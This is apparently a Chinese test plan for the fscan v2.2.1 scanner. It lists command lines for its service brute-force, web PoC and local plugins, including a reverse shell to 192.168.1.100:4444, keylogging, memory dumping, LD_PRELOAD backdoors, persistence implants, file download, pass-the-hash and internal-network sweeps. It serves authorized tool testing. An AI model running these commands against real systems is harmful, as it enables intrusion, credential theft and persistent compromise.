mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00

- 覆盖所有47个插件模块的测试方案 - 包含服务插件、Web插件、本地插件三大类测试 - 提供Docker环境快速部署脚本 - 包含性能测试、稳定性测试、安全性测试 - 提供详细的验证标准和测试报告模板 - 涵盖内网渗透、外网侦察、横向移动等实战场景
14 KiB
14 KiB
Fscan 插件饱和性测试文档
概述
本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:服务插件、Web插件和本地插件。
测试环境要求
基础环境
- Linux/Windows测试环境
- Docker容器(用于快速部署测试服务)
- 网络连接(用于外部服务测试)
- 管理员权限(用于本地插件测试)
测试目标服务器
建议使用Docker快速部署以下服务:
# MySQL
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
# Redis
docker run -d -p 6379:6379 redis:alpine
# MongoDB
docker run -d -p 27017:27017 mongo:4.4
# PostgreSQL
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
# SSH服务
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
# FTP服务
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd
# SMB/CIFS
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"
1. 服务插件测试 (Services Plugins)
1.1 数据库服务测试
MySQL插件测试
# 基础连接测试
./fscan -h 127.0.0.1:3306 -m mysql
# 暴力破解测试
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"
# 自定义字典测试
echo "root" > users.txt
echo -e "123456\nadmin\nmysql" > passwords.txt
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt
验证标准:
- 能正确识别MySQL服务
- 能进行版本探测
- 能执行暴力破解攻击
- 成功时显示版本信息和权限
PostgreSQL插件测试
# 基础测试
./fscan -h 127.0.0.1:5432 -m postgresql
# 暴力破解
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"
验证标准:
- 正确识别PostgreSQL服务
- 显示版本信息
- 暴力破解功能正常
MongoDB插件测试
# 无认证连接测试
./fscan -h 127.0.0.1:27017 -m mongodb
# 认证连接测试(如果有密码)
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"
验证标准:
- 检测MongoDB服务
- 识别未授权访问
- 显示数据库列表(如果有权限)
MSSQL插件测试
# SQL Server测试(需要MSSQL容器)
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"
Redis插件测试
# 基础连接测试
./fscan -h 127.0.0.1:6379 -m redis
# 未授权访问测试
./fscan -h 127.0.0.1:6379
# 写入测试(危险操作,仅测试环境)
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command
验证标准:
- 检测Redis服务
- 识别未授权访问
- 能执行info命令
- 支持写入操作(如果有权限)
Oracle插件测试
# Oracle测试(需要Oracle容器)
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"
1.2 网络服务测试
SSH插件测试
# SSH暴力破解测试
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"
# SSH密钥测试
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key
验证标准:
- 正确识别SSH服务
- 显示SSH版本和算法
- 暴力破解功能正常
- 支持密钥认证
FTP插件测试
# FTP连接测试
./fscan -h 127.0.0.1:21 -m ftp
# FTP暴力破解
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"
验证标准:
- 检测FTP服务
- 支持匿名登录检测
- 暴力破解功能正常
- 显示FTP banner信息
Telnet插件测试
# Telnet测试
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"
SMB插件测试
# SMB服务探测
./fscan -h 127.0.0.1:445 -m smb
# SMB共享枚举
./fscan -h 127.0.0.1:445 -user guest -pwd ""
# MS17-010漏洞检测
./fscan -h target:445 -m ms17010
验证标准:
- 检测SMB服务版本
- 枚举共享目录
- 检测已知漏洞
- 显示操作系统信息
SMTP插件测试
# SMTP测试
./fscan -h target:25 -m smtp
./fscan -h target:587 -m smtp
LDAP插件测试
# LDAP连接测试
./fscan -h target:389 -m ldap
./fscan -h target:636 -m ldap # LDAPS
1.3 专用服务测试
Elasticsearch插件测试
# Elasticsearch测试
./fscan -h 127.0.0.1:9200 -m elasticsearch
Kafka插件测试
# Kafka测试
./fscan -h target:9092 -m kafka
RabbitMQ插件测试
# RabbitMQ管理接口测试
./fscan -h target:15672 -m rabbitmq
./fscan -h target:5672 -m rabbitmq
Memcached插件测试
# Memcached测试
./fscan -h target:11211 -m memcached
Neo4j插件测试
# Neo4j测试
./fscan -h target:7474 -m neo4j
./fscan -h target:7687 -m neo4j
VNC插件测试
# VNC测试
./fscan -h target:5900 -m vnc
RDP插件测试
# RDP连接测试
./fscan -h target:3389 -m rdp
2. Web插件测试 (Web Plugins)
2.1 Web标题获取测试
# HTTP标题获取
./fscan -u "http://www.example.com"
./fscan -u "https://www.example.com"
# 批量URL测试
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
./fscan -uf urls.txt
# 端口扫描+Web检测
./fscan -h 127.0.0.1 -p 80,443,8080,8443
验证标准:
- 正确获取网页标题
- 显示HTTP状态码
- 识别Web服务器信息
- 显示响应长度
- 支持HTTPS检测
2.2 Web POC扫描测试
# 启用POC扫描
./fscan -u "http://target" -full
# 指定POC名称
./fscan -u "http://target" -pocname "spring,struts"
# 自定义POC路径
./fscan -u "http://target" -pocpath /path/to/pocs/
# 禁用POC(对照测试)
./fscan -u "http://target" -nopoc
验证标准:
- 能加载POC规则
- 正确识别已知漏洞
- 显示漏洞详细信息
- POC并发控制正常
2.3 指纹识别测试
# 启用指纹识别
./fscan -u "http://target" -fp
# 指纹+POC组合
./fscan -u "http://target" -fp -full
验证标准:
- 识别Web应用类型
- 识别中间件信息
- 识别CMS类型
- 识别技术栈
3. 本地插件测试 (Local Plugins)
警告:本地插件测试具有潜在风险,仅在测试环境中执行
3.1 系统信息收集
# 系统信息收集
./fscan -local systeminfo
# 环境变量信息
./fscan -local envinfo
# 文件信息收集
./fscan -local fileinfo
# 域控信息收集
./fscan -local dcinfo
验证标准:
- 收集操作系统信息
- 枚举环境变量
- 查找敏感文件
- 识别域环境
3.2 服务和进程管理
# Windows服务管理
./fscan -local winservice
# 系统服务管理(Linux)
./fscan -local systemdservice
# 计划任务(Windows)
./fscan -local winschtask
# Cron任务(Linux)
./fscan -local crontask
验证标准:
- 枚举运行服务
- 识别计划任务
- 显示服务详细信息
- 检测异常服务
3.3 持久化和后门
# Windows启动项
./fscan -local winstartup
# 注册表查询
./fscan -local winregistry
# LD_PRELOAD后门
./fscan -local ldpreload
# Shell环境后门
./fscan -local shellenv
3.4 网络和通信
# 反弹Shell
./fscan -local reverseshell -rsh 192.168.1.100:4444
# 正向Shell服务器
./fscan -local forwardshell -fsh-port 4444
# SOCKS5代理
./fscan -local socks5proxy -start-socks5 1080
3.5 高级功能
# 键盘记录
./fscan -local keylogger -keylog-output keylog.txt
# 内存转储
./fscan -local minidump
# 杀毒软件检测
./fscan -local avdetect
# 系统清理
./fscan -local cleaner
3.6 文件操作
# 文件下载
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"
# 持久化文件植入(Linux)
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"
# 持久化文件植入(Windows)
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"
4. 综合测试场景
4.1 内网渗透场景
# 完整内网扫描
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432
# 禁用ping的扫描
./fscan -h 192.168.1.0/24 -np
# 指定线程数的大规模扫描
./fscan -h 10.0.0.0/16 -t 1000 -mt 100
4.2 外网侦察场景
# 存活探测
./fscan -h target.com -ao
# Web应用测试
./fscan -h target.com -fp -full
# 特定端口扫描
./fscan -h target.com -p 80,443,8080,8443,8888
4.3 横向移动场景
# 凭据重用测试
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"
# 哈希传递攻击
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
5. 输出和日志测试
5.1 输出格式测试
# 文本格式输出
./fscan -h target -o result.txt -f txt
# JSON格式输出
./fscan -h target -o result.json -f json
# CSV格式输出
./fscan -h target -o result.csv -f csv
# 禁用文件输出
./fscan -h target -no
5.2 日志级别测试
# 详细日志
./fscan -h target -log all
# 仅基础信息
./fscan -h target -log base
# 静默模式
./fscan -h target -silent
# 无颜色输出
./fscan -h target -nocolor
# 无进度条
./fscan -h target -nopg
6. 性能和稳定性测试
6.1 高并发测试
# 最大线程测试
./fscan -h 192.168.1.0/24 -t 2000 -mt 200
# 超时控制测试
./fscan -h target -time 10 -wt 30 -gt 300
# 重试机制测试
./fscan -h unreachable_target -retry 5
6.2 大规模目标测试
# C类网段扫描
./fscan -h 192.168.1.0/24
# B类网段扫描(谨慎使用)
./fscan -h 10.0.0.0/16 -t 1000
# 文件批量目标
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
./fscan -hf targets.txt
7. 代理和网络测试
7.1 HTTP代理测试
# HTTP代理
./fscan -h target -proxy http://127.0.0.1:8080
# SOCKS5代理
./fscan -h target -socks5 127.0.0.1:1080
# 组合使用
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"
7.2 DNS和网络配置
# DNS日志记录
./fscan -h target.com -dns
# 用户代理自定义
./fscan -u "http://target" -cookie "custom=value"
# 域环境扫描
./fscan -h target -domain corp.local
8. 错误处理和边界测试
8.1 错误输入测试
# 无效目标
./fscan -h "invalid_host"
# 无效端口
./fscan -h 127.0.0.1 -p 99999
# 无效插件
./fscan -h 127.0.0.1 -m nonexistent_plugin
# 无效文件路径
./fscan -hf /nonexistent/file.txt
8.2 资源限制测试
# 内存使用测试(大目标列表)
./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个
# 磁盘空间测试(大输出文件)
./fscan -h large_network -o /tmp/large_result.txt
9. 验证清单
9.1 功能完整性检查
- 所有服务插件都能正常加载和执行
- Web插件能正确处理HTTP/HTTPS协议
- 本地插件能在对应操作系统上正常运行
- 输出格式正确且完整
- 日志记录准确无误
9.2 稳定性检查
- 长时间运行无内存泄漏
- 高并发场景下无崩溃
- 网络异常时能优雅处理
- 错误输入不会导致程序异常退出
9.3 安全性检查
- 本地插件不会误伤测试环境
- 网络扫描遵循配置的限制
- 敏感信息正确处理(不明文显示密码等)
- 代理配置正确工作
10. 测试报告模板
测试执行记录
测试日期:____________________
测试环境:____________________
Fscan版本:____________________
Go版本:______________________
插件测试结果:
□ 服务插件 (____/25 通过)
□ Web插件 (____/2 通过)
□ 本地插件 (____/20 通过)
性能测试结果:
□ 并发性能测试通过
□ 内存使用测试通过
□ 网络异常处理测试通过
发现的问题:
1. ________________________
2. ________________________
3. ________________________
测试建议:
1. ________________________
2. ________________________
3. ________________________
测试人员签名:____________________
附录
A. Docker测试环境快速部署脚本
#!/bin/bash
# 快速部署测试服务脚本
echo "部署MySQL..."
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
echo "部署Redis..."
docker run -d --name redis-test -p 6379:6379 redis:alpine
echo "部署PostgreSQL..."
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
echo "部署SSH..."
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
echo "测试服务部署完成!"
B. 清理测试环境脚本
#!/bin/bash
# 清理测试容器
docker stop mysql-test redis-test postgres-test ssh-test
docker rm mysql-test redis-test postgres-test ssh-test
rm -f result.* *.txt *.json *.csv keylog.txt
echo "测试环境清理完成!"
C. 常用测试命令备忘
# 快速本地服务扫描
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379
# 完整功能测试
./fscan -h 127.0.0.1 -fp -full -log all
# 性能基准测试
time ./fscan -h 192.168.1.0/24 -t 500
注意事项:
- 本测试文档仅用于授权的安全测试环境
- 禁止在生产环境或未授权系统上执行测试
- 部分本地插件可能需要管理员权限
- 测试过程中请备份重要数据
- 如发现安全漏洞,请负责任地披露
版本: v1.0
更新日期: 2025-09-02
适用于: Fscan v2.2.1